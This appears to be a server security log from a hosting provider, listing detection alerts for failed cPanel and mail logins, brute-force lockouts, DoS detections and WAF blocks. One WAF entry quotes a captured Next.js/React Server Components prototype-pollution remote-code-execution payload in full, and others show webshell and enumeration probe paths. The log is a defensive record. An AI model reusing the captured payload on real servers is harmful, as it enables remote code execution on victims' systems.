Jun 25 08:42:29 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 114.10.45.137
country_id: 1643084
description:
[2026-06-25 08:43:17 +0000] info [cpaneld] 114.10.45.137 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 25 08:42:23 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.221.134.65
country_id: 6290252
description:
Jun 25 08:42:25 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.221.134.65 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-25 08:42:31 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:16112: 535 Incorrect authentication data (set_id=luca@ns5.netmaster.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.199.65.133
country_id: 3686110
description:
[2026-06-25 08:43:24 +0000] info [cpaneld] 38.199.65.133 - kfautotg "GET /login/?login_only=1&user=kfautotg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kfautotg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 14.167.134.39
country_id: 1562822
description:
[2026-06-25 08:43:28 +0000] info [cpaneld] 14.167.134.39 - kfaut "GET /login/?login_only=1&user=kfaut&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kfaut (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 25 08:43:28 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 25 08:43:30 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-25 08:43:30 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:21532: 535 Incorrect authentication data (set_id=casillas@ns5.netmaster.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 86.94.83.25
country_id: 2750405
description:
[2026-06-25 08:43:36 +0000] info [cpaneld] 86.94.83.25 - kfa "GET /login/?login_only=1&user=kfa&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kfa (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-25 08:43:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:41834: 535 Incorrect authentication data (set_id=henley@ns5.netmaster.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 201.222.203.15
country_id: 3895114
description:
[2026-06-25 08:43:40 +0000] info [cpaneld] 201.222.203.15 - kf "GET /login/?login_only=1&user=kf&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kf (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 41.79.219.189
country_id: 2395170
description:
41.79.219.189 - - [25/Jun/2026:08:43:46 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6973845&pdata=https%253A%252F%252Flacs1.mairie.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782377024 HTTP/2.0" 302 0 lacs1.mairie.tg "https://lacs1.mairie.tg/" "Mozilla/5.0 (Linux; Android 14; TECNO BG6m Build/UP1A.231005.007) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.7827.91 Mobile Safari/537.36" WL:"0" "com.google.android.apps.searchlite" XFF:"-" CAPTCHA:"0" PEER:41.79.219.189


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 188.19.42.202
country_id: 2017370
description:
[2026-06-25 08:43:31 +0000] info [cpaneld] 188.19.42.202 - kfau "GET /login/?login_only=1&user=kfau&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kfau (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 154.70.80.74
country_id: 2363686
description:
[2026-06-25 08:45:00 +0000] info [webmaild] 154.70.80.74 - mlapa.eyram@cloud-et-racks.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 25 08:44:26 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.124.251.55
country_id: 1210997
description:
[2026-06-25 08:45:10 +0000] info [cpaneld] 103.124.251.55 - bena "GET /login/?login_only=1&user=bena&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user bena (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 197.155.176.215
country_id: 2453866
description:
[2026-06-25 08:45:14 +0000] info [cpaneld] 197.155.176.215 - ben "GET /login/?login_only=1&user=ben&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ben (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 160.176.64.27
country_id: 2542007
description:
[2026-06-25 08:45:16 +0000] info [cpaneld] 160.176.64.27 - be "GET /login/?login_only=1&user=be&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user be (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-25 08:44:28 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:25272: 535 Incorrect authentication data (set_id=danika@ns5.netmaster.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 189.194.208.89
country_id: 3996063
description:
[2026-06-25 08:45:00 +0000] info [cpaneld] 189.194.208.89 - benate "GET /login/?login_only=1&user=benate&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user benate (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 25 08:44:34 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.107.239.161
country_id: 290557
description:
[2026-06-25 08:44:50 +0000] info [cpaneld] 5.107.239.161 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 37.215.41.14
country_id: 630336
description:
[2026-06-25 08:44:53 +0000] info [cpaneld] 37.215.41.14 - benatex "GET /login/?login_only=1&user=benatex&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user benatex (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 97.170.51.74
country_id: 6252001
description:
[2026-06-25 08:44:56 +0000] info [cpaneld] 97.170.51.74 - benatextg "GET /login/?login_only=1&user=benatextg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user benatextg (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-25 08:44:36 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:16014: 535 Incorrect authentication data (set_id=stm@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 25 08:45:31 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.107.86.141
country_id: 290557
description:
[2026-06-25 08:45:48 +0000] info [cpaneld] 5.107.86.141 - togofarm "GET /login/?login_only=1&user=togofarm&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togofarm (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 149.19.168.189
country_id: 3996063
description:
[2026-06-25 08:46:01 +0000] info [cpaneld] 149.19.168.189 - togof "GET /login/?login_only=1&user=togof&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togof (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 88.135.124.63
country_id: 690791
description:
[2026-06-25 08:46:04 +0000] info [cpaneld] 88.135.124.63 - togo "GET /login/?login_only=1&user=togo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togo (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 25 08:45:27 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.93.44.222
country_id: 3686110
description:
[2026-06-25 08:45:57 +0000] info [cpaneld] 177.93.44.222 - togofa "GET /login/?login_only=1&user=togofa&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togofa (has_cpuser_file failed)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.171.46.177
country_id: 2363686
description:
[2026-06-25 08:45:28 +0000] info [webmaild] 196.171.46.177 - matthieu.awide@togointerim.net "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-25 08:45:33 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:49718: 535 Incorrect authentication data (set_id=jsj@ns5.netmaster.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 197.200.221.152
country_id: 2589581
description:
[2026-06-25 08:45:44 +0000] info [cpaneld] 197.200.221.152 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 154.70.80.74
country_id: 2363686
description:
[2026-06-25 08:45:59 +0000] info [webmaild] 154.70.80.74 - mlapa.eyram@cloud-et-racks.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-25 08:46:12 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:32682: 535 Incorrect authentication data (set_id=s201@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-25 08:45:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:56522: 535 Incorrect authentication data (set_id=masao@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-25 08:46:25 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:25832: 535 Incorrect authentication data (set_id=jayadevan@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-25 08:46:22 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:54760: 535 Incorrect authentication data (set_id=s201@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 25 08:46:23 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 25 08:46:49 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 198.142.152.116
country_id: 2077456
description:
Denial of Service (DoS) attack was discovered from 198.142.152.116: 80 connections per 30 seconds to 53 port.


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.153.155.240
country_id: 1210997
description:
103.153.155.240 - - [25/Jun/2026:08:50:01 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10143901&pdata=https%253A%252F%252Fcfpj.tg%252Fnadu-306715hetid.htm&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782377399 HTTP/1.1" 302 0 cfpj.tg "https://cfpj.tg/nadu-306715hetid.htm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.153.155.240


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 23.109.177.240
country_id: 2750405
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.20||T:APACHE||MV:/index.php/wp-json/wp/v2/users/me?context=edit&_locale=user||


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 198.142.152.117
country_id: 2077456
description:
Denial of Service (DoS) attack was discovered from 198.142.152.117: 80 connections per 30 seconds to 53 port.


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.171.203.169
country_id: 2363686
description:
[2026-06-25 08:51:04 +0000] info [cpaneld] 196.171.203.169 - mvfxewjz "GET /cpsess9887482039/frontend/jupiter/email_accounts/index.html HTTP/1.1" DEFERRED LOGIN cpaneld: cookie ip check: IP address has changed: IP Address [102.64.171.58] != Current IP Address [196.171.203.169]


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - sandrine.a@cloud-et-racks.tg [06/25/2026:08:51:52 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: sandrine.a@cloud-et-racks.tg


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 154.70.80.74
country_id: 2363686
description:
[2026-06-25 08:51:26 +0000] info [webmaild] 154.70.80.74 - mlapa.eyram@cloud-et-racks.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: modsec
rule: 77093094
abuser: 15.237.41.242
country_id: 3017382
domain: pnls.tg
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\": \"$1:__proto__:then\", \"status\": \"resolved_model\", \"reason\": -1, \"value\": \"{\\\"then\\\":\\\"$B1337\\\"}\", \"_response\": {\"_prefix\": \"var res=process.mainModule.require('child_process').execSync('echo $((41*271)) | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\", \"_chunks\": \"$Q2\", \"_formData\": {\"get\": \"$1:constructor:constructor\"}}}||RSV:8.20||T:APACHE||


plugin: modsec
rule: 77142201
name: IM360 WAF: Possible enumeration of sensitive data (dirb)
abuser: 15.237.41.242
country_id: 3017382
domain: pnls.tg
description:
IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||RSV:8.20||T:APACHE||MV:.env.swp||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 15.237.41.242
country_id: 3017382
domain: pnls.tg
description:
IM360 WAF: Bad file extension||RSV:8.20||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.backup||User:pnls||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.161.113.6
country_id: 3895114
description:
[2026-06-25 08:54:18 +0000] info [cpaneld] 45.161.113.6 - djamatg "GET /login/?login_only=1&user=djamatg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user djamatg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.239.75.114
country_id: 3469034
description:
[2026-06-25 08:54:21 +0000] info [cpaneld] 45.239.75.114 - djam "GET /login/?login_only=1&user=djam&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user djam (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 93.70.100.111
country_id: 3175395
description:
[2026-06-25 08:54:09 +0000] info [cpaneld] 93.70.100.111 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 85.106.139.176
country_id: 298795
description:
[2026-06-25 08:54:24 +0000] info [cpaneld] 85.106.139.176 - dja "GET /login/?login_only=1&user=dja&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dja (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 86.248.130.236
country_id: 3017382
description:
[2026-06-25 08:54:27 +0000] info [cpaneld] 86.248.130.236 - dj "GET /login/?login_only=1&user=dj&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dj (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 148.230.102.84
country_id: 1643084
description:
Jun 25 08:56:04 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 148.230.102.84 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 80.248.64.198
country_id: 2363686
description:
[2026-06-25 08:57:18 +0000] info [cpaneld] 80.248.64.198 - neliam "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.184.138
country_id: 1269750
description:
2026-06-25 08:57:36 dovecot_login authenticator failed for H=(187-40-1-41.user.vtal.net.br) [182.95.184.138]:39636: 535 Incorrect authentication data (set_id=contact@dany2.mairie.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 80.248.64.198
country_id: 2363686
description:
[2026-06-25 08:58:29 +0000] info [cpaneld] 80.248.64.198 - neliam "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 80.248.64.198
country_id: 2363686
description:
[2026-06-25 09:00:48 +0000] info [cpaneld] 80.248.64.198 - neliam "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.246.94
country_id: 1269750
description:
2026-06-25 09:00:49 dovecot_login authenticator failed for H=([65.20.198.159]) [152.52.246.94]:54560: 535 Incorrect authentication data (set_id=contact)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.218
country_id: 2635167
description:
[2026-06-25 09:01:14 +0000] info [cpaneld] 5.230.153.218 NEW expirefreenetmas:n2oYYyVP58mckCVJ address=5.230.153.218,app=cpaneld,creator=expirefreenetmas,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.230.65.53
country_id: 1512440
description:
2026-06-25 09:00:29 dovecot_login authenticator failed for H=([90.160.117.76]) [213.230.65.53]:47446: 535 Incorrect authentication data (set_id=contact@dany2.mairie.tg)


plugin: modsec
rule: 77350207
name: IM360 WAF: WordPress plugins/themes version enumeration
abuser: 8.229.15.247
country_id: 6252001
domain: soroubat.tg
description:
IM360 WAF: WordPress plugins/themes version enumeration||RSV:8.20||T:APACHE||REQUEST_URI:/blog/wp-includes/wlwmanifest.xml||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 80.248.64.198
country_id: 2363686
description:
[2026-06-25 09:01:29 +0000] info [cpaneld] 80.248.64.198 - neliam "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 23.27.203.61
country_id: 6252001
domain: dagl.tg
description:
IM360 WAF: Bad file extension||RSV:8.20||T:APACHE||MVN:REQUEST_FILENAME||MV:/communes/www.lomegolfe3.com||User:myxlsnta||


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 47.84.199.24
country_id: 1880251
description:
Jun 25 09:02:14 ns5 pure-ftpd[405974]: (?@47.84.199.24) [WARNING] Authentication failed for user [contact@dany2.mairie.tg]


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 119.160.92.84
country_id: 1168579
description:
Denial of Service (DoS) attack was discovered from 119.160.92.84: 80 connections per 30 seconds to 53 port.


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 119.160.92.93
country_id: 1168579
description:
Denial of Service (DoS) attack was discovered from 119.160.92.93: 80 connections per 30 seconds to 53 port.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 43.245.93.153
country_id: 1282988
description:
[2026-06-25 09:02:44 +0000] info [cpaneld] 43.245.93.153 - bel "GET /login/?login_only=1&user=bel&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user bel (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 14.190.89.7
country_id: 1562822
description:
[2026-06-25 09:02:29 +0000] info [cpaneld] 14.190.89.7 - belali "GET /login/?login_only=1&user=belali&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user belali (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 179.108.95.84
country_id: 3469034
description:
[2026-06-25 09:02:33 +0000] info [cpaneld] 179.108.95.84 - belalitg "GET /login/?login_only=1&user=belalitg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user belalitg (has_cpuser_file failed)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 80.248.64.198
country_id: 2363686
description:
[2026-06-25 09:03:14 +0000] info [cpaneld] 80.248.64.198 NEW neliam:8z052ekLsBXFmB9k address=80.248.64.198,app=cpaneld,creator=neliam,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.10.240.11
country_id: 3686110
description:
[2026-06-25 09:02:51 +0000] info [cpaneld] 38.10.240.11 - be "GET /login/?login_only=1&user=be&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user be (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 80.248.64.198
country_id: 2363686
description:
[2026-06-25 09:02:22 +0000] info [cpaneld] 80.248.64.198 - neliam "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.183.125.51
country_id: 798544
description:
2026-06-25 09:04:05 dovecot_login authenticator failed for H=178.183.125.51.mobile.static.t-mobile.pl (237-166.adsl.static.espeed.com.bn) [178.183.125.51]:55206: 535 Incorrect authentication data (set_id=contact@dany2.mairie.tg)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.168.0.186
country_id: 2363686
description:
[2026-06-25 09:03:23 +0000] info [webmaild] 196.168.0.186 - kawunyo@wages.tg "POST /cpsess3522473293/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [196.170.45.140] != Current IP Address [196.168.0.186]


plugin: modsec
rule: 77350295
name: IM360 WAF: Interaction with fake plugin
abuser: 52.140.124.214
country_id: 1269750
domain: ruralinfos.tg
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/WordPressCore/||WPU:||RSV:8.20||T:APACHE||


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 52.140.124.214
country_id: 1269750
domain: ruralinfos.tg
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/expirefreenetmas/public_html/wp-includes||RSV:8.20||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 52.140.124.214
country_id: 1269750
domain: ruralinfos.tg
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.20||T:APACHE||MV:/wp-admin/images/index.php||SC:/home/expirefreenetmas/public_html/wp-admin||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 107.77.206.156
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:09-05.107.77.206.156||RSV:8.20||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.9.119
country_id: 3469034
description:
Jun 25 09:06:10 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.9.119 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.71.9.31
country_id: 1835841
description:
2026-06-25 09:06:36 dovecot_login authenticator failed for H=([116.59.11.86]) [180.71.9.31]:43184: 535 Incorrect authentication data (set_id=hbaniza@otr.tg)


plugin: modsec
rule: 77093094
abuser: 34.123.82.129
country_id: 6252001
domain: lasnb.com
description:


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 77.137.66.136
country_id: 294640
description:
[2026-06-25 09:10:01 +0000] info [cpaneld] 77.137.66.136 - li "GET /login/?login_only=1&user=li&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user li (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 27.34.67.107
country_id: 1282988
description:
[2026-06-25 09:09:29 +0000] info [cpaneld] 27.34.67.107 - libertetogo "GET /login/?login_only=1&user=libertetogo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user libertetogo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.5.39.48
country_id: 3895114
description:
[2026-06-25 09:09:32 +0000] info [cpaneld] 190.5.39.48 - libertetogotg "GET /login/?login_only=1&user=libertetogotg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user libertetogotg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 14.192.215.75
country_id: 1733045
description:
[2026-06-25 09:09:38 +0000] info [cpaneld] 14.192.215.75 - libertet "GET /login/?login_only=1&user=libertet&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user libertet (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.228.244.80
country_id: 3469034
description:
[2026-06-25 09:09:24 +0000] info [cpaneld] 45.228.244.80 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.24.61.58
country_id: 99237
description:
[2026-06-25 09:09:46 +0000] info [cpaneld] 185.24.61.58 - libert "GET /login/?login_only=1&user=libert&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user libert (has_cpuser_file failed)


plugin: ossec
rule: 11000
